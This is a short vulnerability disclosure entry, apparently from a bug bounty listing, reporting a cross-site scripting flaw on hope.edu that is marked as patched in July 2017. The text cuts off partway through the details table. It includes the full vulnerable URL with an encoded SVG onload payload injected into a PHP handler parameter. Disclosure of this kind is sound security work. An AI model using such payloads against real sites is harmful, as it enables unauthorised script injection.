hope.edu XSS vulnerability

Vulnerable URL: http://www.hope.edu/resources/php/localist/Localist-handler.php?items=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E=true=event-list-append=2016-04-16=true=2016-12-31=2016-12-31=365=2 Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:|...